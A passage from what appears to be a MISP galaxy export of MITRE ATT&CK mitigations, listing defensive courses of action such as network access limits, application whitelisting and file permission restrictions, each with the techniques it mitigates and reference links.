- mitigates: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="CMSTP - T1191" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Verclsid - T1218.012" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Downgrade Attack - T1562.010" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Emond - T1546.014" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Mshta - T1170" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration over USB - T1052.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Wordlist Scanning - T1595.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1184" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Remote Management - T1028" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="VBA Stomping - T1564.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-

language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Emond - T1519" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1547.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Additional Email Delegate Permissions - T1098.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1173" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="InstallUtil - T1118" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="MMC - T1218.014" with estimative-language:likelihood-probability="almost-certain"

Table 4595. Table References

Links

https://attack.mitre.org/mitigations/M1042

Limit Access to Resource Over Network - M1035

Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.

The tag is: *misp-galaxy:mitre-course-of-action="Limit Access to Resource Over Network - M1035"*

View relationships graph

Limit Access to Resource Over Network - M1035 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="TFTP Boot - T1542.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1076" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Deploy Container - T1610" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hardware Additions - T1200" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Container API - T1552.007" with estimative-language:likelihood-probability="almost-certain"

Table 4596. Table References

Links
https://attack.mitre.org/mitigations/M1035

Data from Network Shared Drive Mitigation - T1039

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data from Network Shared Drive Mitigation - T1039"*

View relationships graph

Data from Network Shared Drive Mitigation - T1039 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"

Table 4597. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1039
https://technet.microsoft.com/en-us/library/ee791851.aspx

Windows Management Instrumentation Event Subscription Mitigation - T1084

Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation:

FireEye WMI 2015)

The tag is: *misp-galaxy:mitre-course-of-action="Windows Management Instrumentation Event Subscription Mitigation - T1084"*

View relationships graph

Windows Management Instrumentation Event Subscription Mitigation - T1084 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"

Table 4598. Table References

Links
https://attack.mitre.org/mitigations/T1084
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

Custom Command and Control Protocol Mitigation - T1094

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Custom Command and Control Protocol Mitigation - T1094"*

View relationships graph

Custom Command and Control Protocol Mitigation - T1094 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 4599. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1094

Image File Execution Options Injection Mitigation - T1183

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.

The tag is: *misp-galaxy:mitre-course-of-action="Image File Execution Options Injection Mitigation - T1183"*

View relationships graph

Image File Execution Options Injection Mitigation - T1183 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1183" with estimative-language:likelihood-probability="almost-certain"

Table 4600. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1183

SIP and Trust Provider Hijacking Mitigation - T1198

Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017)

Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017)

Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories.

Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.

The tag is: *misp-galaxy:mitre-course-of-action="SIP and Trust Provider Hijacking Mitigation - T1198"*

View relationships graph

SIP and Trust Provider Hijacking Mitigation - T1198 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1198" with estimative-language:likelihood-probability="almost-certain"

Table 4601. Table References

Links
https://attack.mitre.org/mitigations/T1198
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Standard Non-Application Layer Protocol Mitigation - T1095

Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Standard Non-Application Layer Protocol Mitigation - T1095"*

View relationships graph

Standard Non-Application Layer Protocol Mitigation - T1095 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Table 4602. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1095

Deobfuscate/Decode Files or Information Mitigation - T1140

Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Deobfuscate/Decode Files or Information Mitigation - T1140"*

View relationships graph

Deobfuscate/Decode Files or Information Mitigation - T1140 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 4603. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1140
https://technet.microsoft.com/en-us/library/ee791851.aspx

Deploy Compromised Device Detection Method - M1010

A variety of methods exist that can be used to enable enterprises to identify compromised (e.g. rooted/jailbroken) devices, whether using security mechanisms built directly into the device, third-party mobile security applications, enterprise mobility management (EMM)/mobile device management (MDM) capabilities, or other methods. Some methods may be trivial to evade while others may be more sophisticated.

The tag is: *misp-galaxy:mitre-course-of-action="Deploy Compromised Device Detection Method - M1010"*

View relationships graph

Deploy Compromised Device Detection Method - M1010 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Keychain - T1579" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="User Evasion - T1618" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Hooking - T1617" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1605" with estimative-language:likelihood-probability="almost-certain"

Table 4604. Table References

Links
https://attack.mitre.org/mitigations/M1010

Data Transfer Size Limits Mitigation - T1030

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: *misp-galaxy:mitre-course-of-action="Data Transfer Size Limits Mitigation - T1030"*

View relationships graph

Data Transfer Size Limits Mitigation - T1030 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"

Table 4605. Table References

Links
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/mitigations/T1030

Data from Local System Mitigation - T1005

Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet

Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Data from Local System Mitigation - T1005"*

View relationships graph

Data from Local System Mitigation - T1005 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 4606. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1005
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

File System Logical Offsets Mitigation - T1006

Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="File System Logical Offsets Mitigation - T1006"*

View relationships graph

File System Logical Offsets Mitigation - T1006 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Direct Volume Access - T1006" with estimative-language:likelihood-probability="almost-certain"

Table 4607. Table References

Links
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

https://attack.mitre.org/mitigations/T1006
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/ee791851.aspx

Caution with Device Administrator Access - M1007

Warn device users not to accept requests to grant Device Administrator access to applications without good reason.

Additionally, application vetting should include a check on whether the application requests Device Administrator access. Applications that do request Device Administrator access should be carefully scrutinized and only allowed to be used if a valid reason exists.

The tag is: *misp-galaxy:mitre-course-of-action="Caution with Device Administrator Access - M1007"*

View relationships graph

Caution with Device Administrator Access - M1007 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"

Table 4608. Table References

Links
https://attack.mitre.org/mitigations/M1007

Indicator Removal on Host Mitigation - T1070

Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.

The tag is: *misp-galaxy:mitre-course-of-action="Indicator Removal on Host Mitigation - T1070"*

View relationships graph

Indicator Removal on Host Mitigation - T1070 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with

estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 4609. Table References

Links
https://attack.mitre.org/mitigations/T1070

Exploitation of Remote Services Mitigation - T1210

Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.

Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.

The tag is: *misp-galaxy:mitre-course-of-action="Exploitation of Remote Services Mitigation - T1210"*

View relationships graph

Exploitation of Remote Services Mitigation - T1210 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 4610. Table References

Links
https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/
https://attack.mitre.org/mitigations/T1210

https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/
https://en.wikipedia.org/wiki/Control-flow_integrity

System Network Configuration Discovery Mitigation - T1016

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="System Network Configuration Discovery Mitigation - T1016"*

View relationships graph

System Network Configuration Discovery Mitigation - T1016 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 4611. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1016
https://technet.microsoft.com/en-us/library/ee791851.aspx

Replication Through Removable Media Mitigation - T1091

Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)

Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: *misp-galaxy:mitre-course-of-action="Replication Through Removable Media Mitigation - T1091"*

View relationships graph

Replication Through Removable Media Mitigation - T1091 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

Table 4612. Table References

Links
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://attack.mitre.org/mitigations/T1091
https://support.microsoft.com/en-us/kb/967715
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Restrict File and Directory Permissions - M1022

Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.

The tag is: *misp-galaxy:mitre-course-of-action="Restrict File and Directory Permissions - M1022"*

View relationships graph

Restrict File and Directory Permissions - M1022 has relationships with:

- mitigates: misp-galaxy:mitre-attack-pattern="Malicious Shell Modification - T1156" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1492" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Systemd Service - T1501" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Sudo and Sudo Caching - T1548.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Startup Items - T1165" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Linux or Mac System Logs - T1070.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1565.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Login Hook - T1037.002" with estimative-language:likelihood-probability="almost-certain"

- mitigates: misp-galaxy:mitre-attack-pattern="SSH Hijacking - T1563.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="SIP and Trust Provider Hijacking - T1553.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Time Providers - T1547.003" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"
- mitigates: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"
